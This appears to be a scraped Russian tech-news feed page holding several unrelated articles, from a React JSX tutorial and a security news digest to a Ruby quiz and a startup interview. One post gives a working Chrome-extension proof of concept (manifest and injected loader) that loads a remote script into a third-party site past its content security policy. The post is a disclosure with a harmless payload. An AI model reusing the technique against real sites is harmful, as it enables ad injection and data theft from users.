    Я говорил об этом с очень известными человеком, Томом Демарко, и он сказал: «Коммуникация — это не парфюм. Она не становится сильнее, когда вы подходите ближе». Я подумал над этим и сказал: «Да она в точности как парфюм! Чем ближе ты находишься, тем лучше замечаешь движения глаз, ты можешь видеть, о чём они думают».


    Если мы посмотрим на двух людей, говорящих у доски, что мы увидим? Ответы на вопросы в реальном времени. Вы можете рассмотреть все детали лица, их близость: они отходят дальше (я не согласен с тобой) или подходят ближе (я хочу прервать тебя). У вас есть жесты. Вы видите, как люди говорят у доски, пока рисуют, и вы получаете связь между звуковой и визуальной составляющей. Всё это в настоящем времени.

    Или телефон: у вас всё ещё есть голосовые интонации и ответы на вопросы в реальном времени, но вы упускаете жесты и мимику. Вы заходите в чат и теряете всё, кроме ответов в реальном времени. Вы видите, как эта кривая опускается вниз. Это всё при ответах на вопросы в реальном времени.

    Что вы делаете, если находитесь в разных временных зонах или занимаетесь архивной документацией? Вы копируете ту же кривую, и вы можете сделать видеозапись, как один человек объясняет дизайн другому человеку. 3-5-минутные ролики, которые люди сейчас делают на мобильные телефоны, цифровые камеры, выкладывают в сеть и люди в других временных зонах получают их. Вы можете пользоваться этим с клиентами, когда вице-президент по маркетингу говорит: «Вот, что мне надо». Запишите на видео, не перекладывайте на бумагу. И что мы постоянно используем? Бумагу! Вещь, которая наименее эффективна из всех. Пусть она электронная, тем не менее это бумага.


    Последняя тема, которую я затрону — это стоимость расстояний. Я знаю, виртуальные команды повсюду, но в последней речи мы слышали, как кто-то назвал позором то, что мы отдаём на аутсорс все эти биотехнологические проекты, потому что у нас нет возможности построить команду на месте. Так что расстояния обходятся дорого. Исследование показывает, что люди не пройдут больше длины школьного автобуса, чтобы задать вопрос. Кривая коммуникации резко идёт вниз у отметки в 10 метров.


    Итак, мы обсудили игры, стратегии, продвижения, разные виды коммуникации, поговорили о доверии. Люди уже слышали об этом в бизнесе, особенно не инженерном. И это нормально, если вы в театре, людям в театре можно быть людьми. Но инженеры должны быть чем-то другим, не знаю, чем. Мне иногда говорят, что эти совместные игры, люди, недоверие — это такие пушистые темы. Поэтому под конец я хочу представить вам своего друга Пушистика. Это мой талисман. А вон тот удивлённый человек в углу — это технарь, которого только что повысили до руководителя группы и он первый раз встретился с Пушистиком.

    Комментарии (0)

      Let's block ads! (Why?)

      [Перевод] 5 советов по усовершенствованию игровых анимаций

      SQL: пара приемов в SELECT-запросах

      Очистка воздуха в ЦОД как способ продлить срок работы оборудования и снизить затраты

      О том, что состояние атмосферы в больших и не очень городах большинства стран оставляет желать лучшего, говорят уже давно. Во многих населенных пунктах загрязнение атмосферы достигло критической точки. И вот ведь проблема — дата-центров все это тоже касается. Об этом мы писали, например, здесь.

      Сейчас же многие специалисты говорят, что в дата-центрах, которые размещаются в промышленных регионах, увеличивается количество повреждений оборудования и выходя из строя отдельных элементов инфраструктуры. Причина тому — загрязненный воздух, который не очищается должным образом.

      В таких городах, как Лос-Анджелес, Москва, Пекин, Токио оборудование в дата-центрах зачастую изнашивается и выходит из строя гораздо быстрее чем в дата-центрах, расположенных подальше от источников загрязнения атмосферы. Хуже всего то, что подавляющее большинство дата-центров размещаются как раз рядом с мегаполисами. Примеров размещения дата-центров компаний вдали от них немало, но все же это лишь малая толика.

      Загрязнение атмосферы может влиять и на здоровье персонала, и на, как уже говорилось выше, состояние оборудование. Загрязняющие атмосферу вещества — относительно непредвиденный фактор внешнего влияния на оборудование дата-центра.

      Так в чем проблема?


      Дело в том, что ряд загрязняющих веществ оказывают коррозионное воздействие на электронное оборудование. Этот, на первых порах, незаметный процесс, чреват повреждением большого числа компонентов, что может приводить к механическим повреждениям или сбоям инфраструктуры.

      Современные системы забора воздуха оснащаются фильтрами. Но все же чаще всего атмосферный воздух, забираемый извне, не очищается. Кроме того, внутрь дата-центра загрязненный воздух проникает и другими путями — например, через двери, во время их открытия-закрытия. Наиболее серьезным загрязнителем являются диоксид серы, сероводород и мелкие фракции пыли.

      Просто огромная концентрация всего этого есть в Пекине, где власти чуть не каждую неделю объявляют тревогу из-за загрязнения воздуха. Такой воздух разрушает не только электронное оборудование, он провоцирует и ускоряет коррозию элементов стоек, отдельных элементов энергетической инфраструктуры.

      Исследования на тему негативного влияния загрязненного промышленными выбросами воздуха на серверное оборудование и дата-центры в целом проводятся уже давно. Одно из наиболее масштабных исследований проведено компанией Intel.

      Но результаты этого исследования — простая констатация факта того, что загрязненный воздух увеличивает скорость износа оборудования в ряде регионов. Более продуктивным можно назвать исследование компании Baidu относительно своих дата-центров, которые расположены в Пекине. Надо сказать, что этой компании нужны ДЦ в этом регионе, но проблем в результате едва ли не больше, чем преимуществ.

      Хуже всего приходится системам охлаждения, которые могут месяцами коррозировать и в один прекрасный момент просто выйти из строя. А это уже чревато длительным простоем и финансовыми потерями, очень значительными потерями. Даже, если оборудование и не выходит из строя, оно начинает потреблять больше энергии.

      Что же делать?


      Либо не использовать забор воздуха снаружи, и работать с автономными системами охлаждения, либо же использовать специальные фильтры — как для систем охлаждения, так и для всех прочих источников поступления наружной атмосферы в дата-центр.

      Кроме того, установка в дата-центре систем, обеспечивающих и мониторинг качества воздуха в реальном времени, становится все более актуальным решением. Это позволяет обеспечить оптимальный режим работы для систем фильтрации.

      Если устанавливается система фильтрации воздуха, то она должна работать как с аэрозолями и пылью, так и с газами. Лучше всего работают фильтрационные системы с активированным углем и фильтры, где есть стеклянные микроволокна.

      Комментарии (0)

        Let's block ads! (Why?)

        Причина недопонимания между нами и неверного использования технологий. По мотивам статьи «Пять миров» (ПО)

        React.js на русском языке. Часть вторая

        Перевод официальной документации библиотеки React.js на русском языке.

        Оглавление:


        1 — Часть первая
        2 — Часть вторая

        Внедрение JSX


        Ознакомьтесь с этим объявлением переменных:
        const element = <h1>Hello, world!</h1>;
        
        

        Этот забавный синтаксис тега не представляет собой ни строку, ни HTML.
        Он называется JSX и представляет собой расширение языка в JavaScript. Мы рекомендуем использовать его при работе с React, чтобы описать как должен выглядеть UI. JSX может напоминать вам HTML разметку, но он полноценно работает в JavaScript.
        JSX производит «элементы» React. В следующем разделе мы будем изучать их.

        Внедрение выражений в JSX


        Вы можете вставить любой JavaScript-код в JSX, завернув его в фигурные скобки.
        Например, 2 + 2, user.name, и formatName(user) все эти выражения допустимы:
        function formatName(user) {
          return user.firstName + ' ' + user.lastName;
        }
        
        const user = {
          firstName: 'Harper',
          lastName: 'Perez'
        };
        
        const element = (
          <h1>
            Hello, {formatName(user)}!
          </h1>
        );
        
        ReactDOM.render(
          element,
          document.getElementById('root')
        );
        
        

        Повторите данный пример в CodePen.

        Мы завернули JSX в скобки и разделили его на несколько строк для удобного чтения. Это также помогает избежать ошибочной автоматической вставки точки с запятой.

        JSX это тоже выражение


        После компиляции JSX выражения становятся постоянными объектами JavaScript. Это значит, что вы можете использовать JSX внутри выражений if и циклов for, назначать их переменными, принимать как аргументы, и возвращать их из функций:
        function getGreeting(user) {
          if (user) {
            return <h1>Hello, {formatName(user)}!</h1>;
          }
          return <h1>Hello, Stranger.</h1>;
        }
        
        

        Определение атрибутов с JSX


        Вы можете использовать кавычки для определения шаблонных строк в качестве атрибутов.
        const element = <div tabIndex="0"></div>;
        
        

        Вы также можете использовать фигурные скобки для размещения JavaScript выражения в атрибуте:
        const element = <img src={user.avatarUrl}></img>;
        
        

        Определение дочерних модулей с JSX


        Если тег пустой, вы можете сразу закрыть его /> как XML:
        const element = <img src={user.avatarUrl} />;
        
        

        JSX теги могут содержать дочерние модули:
        const element = (
          <div>
            <h1>Hello!</h1>
            <h2>Good to see you here.</h2>
          </div>
        );
        
        

        Нюанс:
        Так как JSX ближе к JavaScript, чем HTML, React DOM использует наименования camelCase, а не имена атрибутов HTML.

        Например, class становится className в JSX, а tabindex становится tabIndex.

        JSX предотвращает атаки


        Размещение пользовательского ввода в JSX безопасно:
        const title = response.potentiallyMaliciousInput;
        // This is safe:
        const element = <h1>{title}</h1>;
        
        

        React DOM по умолчанию избегает любых элементов, заложенных в JSX перед их обработкой.

        JSX представляет собой объекты


        Babel компилирует JSX к React.createElement() сигналам.
        Эти два примера идентичны:
        const element = (
          <h1 className="greeting">
            Hello, world!
          </h1>
        );
        
        
        const element = React.createElement(
          'h1',
          {className: 'greeting'},
          'Hello, world!'
        );
        
        

        React.createElement() выполняет несколько проверок чтобы помочь написать код без каких-либо багов, но, по сути, он создает следующий объект:
        // Note: this structure is simplified
        const element = {
          type: 'h1',
          props: {
            className: 'greeting',
            children: 'Hello, world'
          }
        };
        
        

        Такие объекты называются «Объекты React». Их можно представить как описания того, что вы хотите видеть на экране. React читает эти объекты и использует их чтобы построить DOM и постоянно обновлять его.

        Мы будем изучать обработку элементов React в DOM в следующем разделе.

        Совет:

        Рекомендуем вам найти схему синтаксиса Babel для вашего редактора, чтобы ES6 и JSX код работал правильно.

        Комментарии (0)

          Let's block ads! (Why?)

          Security Week 46: обход OAuth 2.0, низковольтный ICMP DDoS, приватность iOS и обход локскрина

          Давно у нас не было научных работ по теме безопасности, и вот, пожалуйста. На европейской конференции BlackHat EU исследователи из университета Гонконга показали примеры некорректной реализации протокола OAuth 2.0, которые, в ряде случаев, позволяют украсть учетные записи пользователей. Так как речь действительно идет о научном исследовании, то и терминология соответствующая — без всяких этих «ААААА!1 Один миллиард учеток можно легко взломать через OAuth 2.0». Впрочем нет, oh wait, примерно так работа и называется (новость и само исследование).

          Как бы то ни было, проблема, обнаруженная исследователями, заключается не в самом OAuth, а в его конкретных реализациях. Необходимость внедрять системы Single-Sign-On не только для веба, но и для мобильных приложений (принадлежащих не только владельцам сервисов идентификации типа Facebook и Google, но и третьей стороне) привела к тому, что стандарт OAuth 2.0 начали надстраивать кто во что горазд, не всегда соблюдая методы безопасности.

          В результате авторизация пользователя местами происходит как попало: в исследовании описывается ситуация, когда авторизоваться от имени другого пользователя можно, зная только его логин (обычно это e-mail). Впрочем, описываемые сценарии атаки предусматривают наличие позиции man-in-the-middle, и возможны не всегда. Из обнаруженных в ходе исследования проблемных приложений большинство работает с китайским identity provider Sina, а из 99 исследованных аппов, поддерживающих OAuth через Google и Facebook атаке подвержены всего 17. Решить проблему можно на стороне провайдеров: если доверять данным только от самого сервера идентификации, и не доверять данным от приложения (которые могут быть подделаны по пути), то элегантный хак работать не будет.

          Обнаружена DDoS атака, позволяющая вывести из строя межсетевые экраны относительно небольшим количеством запросов
          Новость. Исследование центра управления безопасностью TDC Group.

          Типичная DDoS-атака выводит из строя сайты скорее силой, чем умом: примером является недавняя атака на DNS-серверы Dyn мощностью до одного терабита в секунду. Вывести из строя сетевое оборудование атакой под малым напором сложнее, но все еще возможно. Специалисты датского телекома TDC наблюдали около сотни случаев атаки, которая способна вызывать отказ в обслуживании у ряда популярных моделей межсетевых экранов при мощности в 15-18 мегабит или 40-50 тысяч запросов в секунду.

          Атака, на всякий случай красиво поименованная (BlackNurse), использует протокол ICMP. В отличие от распространенной атаки типа ping flood, в данном случае на сервер отправляется множество пакетов Type 3 Code 3 (Destination Unreachable, Destination Port Unreachable). По каким-то причинам (в исследовании этот момент не раскрывается) обработка этих пакетов вызывает стопроцентную загрузку процессора межсетевого экрана, и, соответственно, отказ в обслуживании.

          В заметке в блоге американского института SANS признается наличие проблемы, но она квалифицируется скорее как неправильная конфигурация: пакеты такого типа достаточно легко отфильтровать, либо изменить параметры их обработки. Отмечается, что Cisco даже не стала квалифицировать это как уязвимость. Предполагается, что после получения сообщений о недоступности брандмауэр пытается решить несуществующую проблему, анализируя предыдушие пакеты данных, на что уходят значительные ресурсы. Интересно, что метод атаки отчасти пришел к нам аж из 90-х, когда была актуальна так называемая проблема "смертельного пинга".

          Опубликован три тысячи первый способ обхода экрана блокировки в iPhone
          Новость.

          Обход локскрина превратился в какой-то специальный вид спорта. Участники соревнуются в скоростном нажатии по всем доступным на заблокированном телефоне кнопкам и иконкам, победитель определяется исходя из успешности доступа к закрытым данным. Как и в прошлый раз, в обходе блокировки задействована Siri. Кроме того, последовательность действий начинается с попытки отреагировать на входящий звонок — нужно либо дождаться звонка на телефоне, либо спросить у Siri «Who am I?», после чего номер телефона жертвы будет показан на экране. Дальше следует шаманство, проще видео посмотреть.

          Впрочем, самой обсуждаемой новостью вокруг Apple стала (предсказуемо) не эта. По данным российской компании ElcomSoft, iOS передает на серверы компании информацию о совершенных и принятых звонках по умолчанию. Единственное, что необходимо для передачи данных — использование iCloud, причем для того, чтобы телефон перестал отправлять на сервер историю звонков, синхронизацию с iCloud нужно полностью отключить. Данная история относится скорее к теме приватности, а не безопасности: по результатам обсуждения споров между Apple и ФБР в начале этого года стало понятно, что компетентные органы гораздо проще могут добыть информацию с серверов компании, а не с самого устройства, если оно заблокировано.

          Что еще произошло:
          Интересный доклад известного эксперта по безопасности и криптографии Брюса Шнайера цитируется в этой новости: он выступает за то, чтобы производителей IoT-устройств законодательно обязали соблюдать нормы безопасности. По мненю Шнайера, только экономических инструментов влияния на вендоров (= дырявые устройства не будут покупать) будет недостаточно (= все равно будут, всем наплевать).

          Yahoo все-таки знала о краже пользовательских данных еще в 2014 году. Речь идет об утечке, информация о которой была обнародована только в сентябре этого года, когда базы начали сливать в открытый доступ.

          Тем временем у сети FriendFinder украли 412 миллионов учеток, в основном с различных сайтов знакомств «для взрослых».

          Древности


          «Petersburg-529»

          Резидентный вирус, не опасен. Инфицирует .COM-файлы при загрузке их в память для выполнения, внедряется в начало файла. При выполнении инфицированной программы остается резидентным в памяти, совершая следующие действия:

          — изменяет размер выделенной под основную программу памяти, резервируя дополнительную память для своих нужд;
          — определяет имя основной программы и выполняет ее (т.е. происходит повторный запуск основной программы);
          — по окончании работы программы вирус остается резидентным (int 21h, ah = 31h).

          Вирус никак не проявляется и не имеет деструктивной функции.

          Цитата по книге «Компьютерные вирусы в MS-DOS» Евгения Касперского. 1992 год. Страницa 79.

          Disclaimer: Данная колонка отражает лишь частное мнение ее автора. Оно может совпадать с позицией компании «Лаборатория Касперского», а может и не совпадать. Тут уж как повезет.

          Комментарии (0)

            Let's block ads! (Why?)

            Знакомство с MSP432: пишем простую программу

            пятница, 18 ноября 2016 г.

            [Из песочницы] Обход CSP при помощи расширений Google Chrome

            Не так давно настроил я на своем проекте CSP (content security policy), и решил что жизнь удалась. Ведь теперь невозможно подгрузить скрипты с запрещенных ресурсов, и даже о попытке сделать это, я буду уведомлен соответствующей ошибкой. А если кто-то и подгрузить скрипт, то все равно ничего не сможет передать, ведь ajax запросы отправляются только на мои сервера.

            Так я подумал, и был какое-то время спокоен.

            А еще я использовал расширение HTTP Headers, которое помогало мне просматривать заголовки ответов сервера в удобном виде. В один прекрасный день, я увидел на своих ресурсах рекламу, которой там никогда не было. Немного просмотрев код и поэкспериментировав, я понял, что именно это расширение добавляло рекламу на все сайты, которые я посещаю. Код расширения, к сожалению, я не скопировал вовремя, и на данный момент оно уже удалено из магазина расширений с пометкой “ содержит вредоносное ПО”. С этого и начну свой рассказ.

            Мне стало очень интересно, как так, ведь у меня есть четкие правила для браузера о политике загрузки скриптов и отправки данных с моей страницы, а тут я вижу, что настройки безопасности ну очень слабо повышают безопасность пользователей, если они пользуются расширениями для браузера (в данном случае конкретно Google Chrome). Поэтому я решил воссоздать такое расширение, которое смогло бы загружать скрипты с удаленного сервера в обход CSP.

            Писать расширения для браузера не очень сложно, об этом было много статей, в частности и от Google , поэтому я не буду останавливаться более подробно на самом написании расширения.

            В качестве примера, был выбран сайт Яндекс музыка по нескольким причинам:

            • У них есть CSP
            • У них достаточно мощные сервера чтобы выдержать всех “кому интересно посмотреть”;
            • У них не до конца настроен CSP (на момент написания статьи у них стоит content security policy report only, поэтому я смогу увидеть все сообщения об ошибках о некорректном контенте, но самой блокировки происходить не будет)

            Собираем зловредное расширение (готовую версию вы можете посмотреть на GitHub):

            1. Файл manifest.json


            {
             "manifest_version": 2,
            
            
             "name": "CSP vulnerability",
             "description": "This is just an example, please do not use it.",
             "version": "1.0",
            
            
             "browser_action": {
               "default_icon": "evil.png",
               "default_popup": "popup.html"
             },
             "content_scripts": [
               {
                 "matches": [ "http://ift.tt/2eNExKQ" ],
                 "js": [ "evil.js" ],
                 "run_at": "document_end"
               }
             ],
             "permissions": [
               "activeTab",
               "http://ift.tt/2eNExKQ"
             ]
            }
            
            

            2. Создать сам «зловредный» скрипт


            Внимательно просмотрев, откуда яндекс разрешает загрузить скрипты
            "script-src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru .
            

            Я решил что в этом списке явно не хватает гугл-аналитики, поэтому в качестве “зловредного” подгружаемого скрипта, я выбираю http://ift.tt/2fo9nWB, тем более что многие называют Google — “корпорацией добра”. Такой выбор обусловлен следующими критериями:
            1. Подключаемый скрипт никому не навредит.
            2. Он точно работает.
            3. Он будет пытаться сделать ajax запросы.
            4. Его смогут подключить все, кто захочет

            В этом есть еще один бонус, т.к. я смогу подгруженным скриптом симулировать запросы без поднятия своего сервера и дополнительного кода (разумеется, гугл аналитика не даст посмотреть собранную информацию если я не владелец сайта, но я и не преследовал цель собрать какую то информацию, только демонстрация обхода блокировок).

            Скрипт беру стандартный, из мануала, только номер счетчика придумываю из головы:

            (function (i, s, o, g, r, a, m) {
               i['GoogleAnalyticsObject'] = r;
               i[r] = i[r] || function () {
                       (i[r].q = i[r].q || []).push(arguments)
                   }, i[r].l = 1 * new Date();
               a = s.createElement(o),
                   m = s.getElementsByTagName(o)[0];
               a.async = 1;
               a.src = g;
               m.parentNode.insertBefore(a, m)
            })(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');
            
            
            ga('create', 'UA-00000000-0', 'auto');
            ga('send', 'pageview');
            

            Для начала, пробую выполнить этот скрипт из консоли, чтобы проверить, а работает ли вообще CSP на этом сайте, и вижу следующее:
            VM636:10 [Report Only] Refused to load the script 'http://ift.tt/1pxBd1V' because it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru 'nonce-dWVmJGgsauDNxkDyep5LEg=='".
            

            Теперь попробую добавить все то же самое в расширение, и вот, все работает. Скрипт успешно добавлен на страницу, не сгенерировав ни единой ошибки.

            Выводы


            Да, многие скажут что выбор расширений это личное дело каждого, да и гугл более или менее оперативно заблокировал расширение (в течении недели с того момента как я сам понял, что оно спамит меня рекламой).

            С другой стороны, непонятно сколько оно было вредоносным. Я поясню почему именно вредоносное: добавлялась реклама сомнительных товаров, со ссылками на еще более сомнительные сайты, к тому же, мне к сожалению неизвестно, собирало ли расширение какие-то данные о посещенных мною страницах, и если собирало, то какие, ведь с тем же успехом они могли собирать информацию из форм или просто из посещаемых мною страниц.

            Мое мнение таково, что если ресурс сообщает браузеру политику поведения с полученной страницей, то эта политика должна быть абсолютной, и распространяться на всё, в том числе и расширения, а как вы считаете?

            Комментарии (0)

              Let's block ads! (Why?)

              Как мы делали интерактивный квест для RailsClub

              RailsClub — конференция, которую AT Consulting посещает практически с момента ее основания. В этом году мы стали ее золотым партнером и решили придумать для участников что-то более интересное, чем розыгрыш призов, и написали интерактивный квест, включающий 15 заданий. Большая часть из них — на знание Ruby и несколько творческих. Опыт получился интересный, так как это был наш первый квест для мероприятий. По итогам проведения квеста мы собрали много отзывов и вопросов по отдельным заданиям. В этой статье мы расскажем о том, как создавали квест, и разберем ответы.

              Команда состояла из одного front-end, двух back-end разработчиков и дизайнера.

              Что внутри?


              Писали проект, конечно же, на Ruby on Rails. На чём ещё может быть написана программа для RailsClub? Поскольку времени было мало, решили сделать все без излишеств, просто, но при этом непробиваемо: стандартная MVC-архитектура Ruby on Rails (руки так и чесались добавить Trailblazer, но быстро стало ясно, что лишние слои абстракции только запутают и не дадут выигрыша в небольшом проекте), да пачка проверенных временем гемов. На сервер же встал веб-сервер Nginx с SSL-сертификатом от Let’s Encrypt (в 2016-м году запускать любой проект без HTTPS просто стыдно) и сервер баз данных PostgreSQL — в общем, всё, что необходимо приложению для работы. Сервером, кстати, стала одна из виртуальных машин, которые мы обычно используем для прогона тестов (gitlab-ci-runner’ы) других проектов компании. Поскольку конференция была в выходной день, мы решили, что мощности все равно простаивают, и использовали ее, остановив все лишние процессы )

              С деплоем тоже всё было просто — это знакомый каждому «рельсовику» Capistrano. Для достаточно простого проекта ничего более навороченного и не требуется.

              Линия фронта


              Изначально на фронтненде хотели использовать React и redux, однако, поняв суть задачи, мы решили, что в квесте не должно быть динамического UI, поэтому сделали все максимально просто.  Front-end на Turbolinks, Jquery, jquery-ujs.

              При разработке таких заданий нужно больше времени на саму разработку, чтобы учесть все нюансы во фронтненде, а именно: проверять проект на разных устройствах под разными платформами, доработать валидацию при отправке квеста и т.д.

              Дизайн


              За месяц до начала квеста к нам вышел новый дизайнер, поэтому его сразу решили испытать в боевых условиях, с чем он, как нам кажется, хорошо справился. Главная задача была сделать дизайн mobile first, так как не у всех участников были ноутбуки с собой, а телефон есть у всех.

              Первый psd-файл появился 10 октября, а финальные макеты отдали 21 октября утром (за сутки до RailsClub). Параллельно вместе с HR думали над общей концепцией квеста: этапы, начисление баллов, определение победителей. Также выбирали призы – за первое место решили дарить гироскутер.

              Правильные ответы


              Квест состоял из 15 заданий, прямо или косвенно связанных с Ruby. Самым сложным оказался вопрос про Array#compact: мы просили реализовать самую краткую версию данного метода. Выглядит она так:
              a - [p]
              

              Многие потом спрашивали у нас правильный ответ. Большинство знало вариант a - [nil], но мало кто знал, что p (alias puts) возвращает nil, если запущен без параметров, и это можно использовать в данном контексте.

              Самым неудачным, на наш взгляд, оказался вопрос: «Что говорил Матц о GC в Ruby?».  Чтобы правильно ответить, нужно было заглянуть на русскоязычную версию сайта о ruby: «Это полезнее для вашего здоровья». Но все же два человека умудрились ответить на этот вопрос )

              Самыми простыми оказались задания заполнить анкету при регистрации и написать, каким языком был вдохновлен Матц при выборе названия для своего языка (ответ — perl).

              Остальные вопросы и «ключи» к ним:

              Вопрос
              «Ключ»
              Сколько человек справилось
              В каком году была основана компания AT Consulting? 2001 (нужно было зайти на сайт компании в раздел истории) 26
              22520 наименьшее число, которое делится на все числа от 1 до 10 без остатка. Какое наименьшее число, которое будет делиться на все числа от 1 до 20 без остатка? 232792560
              25
              Сделай фото в соцсетях с хэштегом: #atconsultingrailsclub и в поле для ответа скопируй ссылку на него. На фотографии обязательно должен быть логотип АТ Consulting и 2 участника конференции 20
              Сумма всех натуральных чисел, меньших 10 и кратных 3, либо 5 равна 23, чему равна сумма чисел меньших 1000? 233168
              20
              Дано: a, b – массивы. Наш стажер написал следующий код:
              a = a + b
              a.uniq!
              Помоги ему сделать код немного лучше
              a |= b 20
              Напиши последние 10 цифр суммы 1^1 + 2^2 + 3^3 +… + 1000^1000 9110846700 19
              Как можно записать число 1 000 000 в Ruby?" 1e6
              16
              Напиши код, который будет показывать, есть ли в строке «String» подстрока «ng» «String».include?

              «ng» не предлагать %-)

              «String»[«ng»]
              12
              Покажи, каким способом можно выяснить, что в массиве «a» строго больше 5 элементов? a[5], но на конференции мы выяснили, что если заполнить массив всеми nil, то данный метод не работает, поэтому вопрос был не совсем корректный
              11
              Как Range (1...10) превратить в массив? [*1...10]
              7

              Спасибо коллегам, которые помогали готовить статью: kolin_good и Envek. Всем хороших выходных!

              Комментарии (0)

                Let's block ads! (Why?)

                Советы основателя. Как онлайн-сервис Егора Егерева трансформирует event-рынок России

                image

                Информационные технологии наконец добрались до рынка продажи билетов на культурно-массовые мероприятия. Еще несколько лет назад в России не существовало ни одного онлайн-агрегатора билетов на подобные мероприятия.

                На распространение билетов выдавались квоты, согласно которым они распределялись среди ограниченного круга продавцов. Отсутствовала единая система бронирования, и нельзя было вести автоматический учет проданных билетов, что нередко приводило к многочисленным проблемам.

                Но теперь эта ниша не пустует благодаря нескольким энтузиастам. Егор Егерев, CEO и основатель билетной платформы Tickets Cloud поделился с нами своим опытом запуска и развития онлайн-сервиса с системой продажи электронных билетов «в едином билетном поле». Более того, он дал несколько советов начинающим.

                Что такое система продажи электронных билетов в едином билетном поле?

                Если ты заказываешь в Anywayanyday, OneTwoTrip или через любой другой агрегатор авиа- или ж/д-билетов, на разных сайтах получаешь одни и те же билеты, только с разной комиссией и ценой. При покупке последнего билета в одном месте, в другом месте он станет недоступен. Это все происходит через единую систему бронирования Amadeus. Она существует еще с 60-х годов.

                На рынке культурных событий и мероприятий такой истории нет. Там есть квотирование: билеты заранее разделяют по разным продавцам. Так как отсутствует единая система бронирования и нельзя вести автоматический учет проданных билетов без дублей, то не может быть одинаковых билетов у разных продавцов.

                То есть сейчас рынок продажи билетов фрагментированный. Выделяются какие-то квоты и так далее. Вы же хотите создать решение, которое повторяет либо систему бронирования отелей, либо авиабилетов?

                Да. Именно эту проблему мы начали решать. Это проблема, которая пронизывает весь рынок, начиная от организаторов, которым приходится распределять билеты: делить бесконечно квоты невозможно. Проблема актуальна и для распространителей, потому что сложно и дорого зайти в другой регион или нишу, сложно получить квоту новым игрокам, все уже распределено.

                Еще есть зритель, который может и не знать об этой проблеме. Но когда он с этим сталкивается, приходится пять сайтов сразу просматривать, чтобы подобрать себе места.

                Как технологически выглядит ваш способ решения этой проблемы?

                Это SaaS-решение. Мы предоставляем доступ в облако непосредственно организатору мероприятия. Можно легко согласовать с дистрибьюторами сделку на разных условиях. Это так же просто сделать, как подружиться в Facebook. Дистрибьюторов может быть любое количество. Несмотря на то, что работа идет через нашу платформу, организаторам и распространителям остается право согласовывать размер комиссии и другие условия. Наша система учитывает все движения денег на основе заключенных сделок в системе.

                Как ты вообще к этому пришел? Как эта идея сформировалась и трансформировалась в ИТ-сервис?

                Начало пути – 2005 год. Я тогда занимался организацией вечеринок. Занимался я этим примерно 7 лет. Все выросло в огромные фестивали электронной музыки до 15 тысяч человек. В 2012 году я запустил сервис «Нанобилет». Выражаясь простым языком, это такой последователь Eventbrite.

                Так я перешел от деятельности промоутера в ИТ-сферу. Благодаря нашей компании «Нанобилет» и еще двум компаниям в 2012 году мы запустили услугу продажи электронных билетов. Сейчас в это сложно поверить, но действительно тогда три стартапа перевернули рынок с ног на голову. Теперь 70% билетов электронные. До этого вообще почти не продавалось — 1-5%.

                Но затем я понял, что очень сложно получить квоту, квотирование мешает проникновению технологий (маркетинговых, и вообще каких угодно) на рынок. Решение проблемы висело в воздухе. Она много обсуждалась, но почти никто не хотел инвестировать в это решение. Я все-таки решил делать эту историю и получил поддержку не только от первых клиентов, но и от инвесторов. Инвестиции я начал получать в 2014 году. Тогда я собрал новую команду – Tickets Cloud.

                Тогда уже у меня было больше опыта в ИТ и управления разработкой. И вот сейчас мы активно развиваем наш проект.

                Насколько все это технологически нагружено? Какой стек? Команда разработчиков на аутсорсе?

                Нет, команда своя. Разработка ведется на Python, фреймворк Pyramid, база данных MongoDB, несколько асинхронных микросервисов рядом с основным ядром… У нас 8 разработчиков, ПМ и два тестера.

                А менеджеров сколько?

                Так же – около 10 человек.

                Что с вами произошло за эти два года (2014-2016)? Как ты оцениваешь свое место на рынке сегодня? Как ты видишь ближайшие перспективы на 2017 год?

                По итогам 2014 года у нас было уже порядка 300 партнеров-организаторов и несколько десятков распространителей. Сейчас количество партнеров удвоилось. Среди наших клиентов — организаторы концертов Робби Уильямса в Петербурге и Москве (2017), спектакль «Черный Русский», фестиваль «Нашествие», серия концертов Sound Up и др. В обороте мы выросли в пять раз относительно 2014 года. Думаю, в 2017 году темп сохранится.

                Уже видно, что планка оборота достаточно высокая. Наш доход вырос в шесть раз. А маржинальность за последние три месяца увеличилась в три раза.

                Какое у тебя есть видение относительно будущего билетов как таковых?

                С появлением подобных сервисов наличие билетов стало формальностью. Сейчас весь процесс покупки электронных билетов сводится к сбору информации о человеке. Если он посещает то или иное мероприятие и вводит какие-то данные, мы можем найти способ использовать эту информацию. Пока мы не совсем понимаем, во что именно это выльется.

                Так как сейчас люди взаимодействуют с сервисами через мобильный телефон (мы, к слову, уже запустили возможность оплаты через Apple Pay), использование сервиса и участие в событии или мероприятии может превратиться в какую-то интерактивную историю с артистами.

                Еще один важный (уже общий для многих отраслей) тренд – использование алгоритмов динамического ценообразования, автоматизированное управление ценой в зависимости от спроса. Возможно, и наш сервис когда-то будет подобные услуги предоставлять, сейчас мы активно исследуем это направление.

                Есть ли главная мысль или несколько уроков, которые ты для себя извлек к текущему моменту развития?

                Первое, что хочу отметить, несмотря на то, что это прозвучит банально… когда ты сам веришь – продолжай двигаться, даже если тебя все отговаривают. У меня был период, когда я был практически банкротом. Но моя цель не менялась, хотя я видел, что рынок инертный.

                А теперь, когда стало получаться, «все» по-другому на это смотрят. То есть, главное – верить своей интуиции. Это самое главное.

                Есть ли какая-то вещь, которую можно считать твоей главной ошибкой? Или, может быть, за эти два была какая задача, которую было труднее всего решать?

                Рынок b2b – очень непростой. Плюс в моем случае это был еще и шоу-бизнес.

                Период перед Tickets Cloud был особенно тяжелым. Непрофильные инвесторы и их деньги создали серьезные проблемы. Эта история замедлила наше движение месяцев на восемь. Наверное, без этого Tickets Cloud мог бы намного раньше запуститься. Но это все разрешилось полюбовно.

                Какую рекомендацию ты можешь дать людям, которые стоят в начале пути?

                Здесь я бы отметил тоже отчасти философскую мысль: я всегда старался делать в жизни то, что мне нравится. Конечно, первая вечеринка, первый ИТ-проект, релиз, первое взаимодействие с ИТ-разработчиками – все когда-то делалось в первый раз. Но я понимал, что мне нравится этим заниматься.

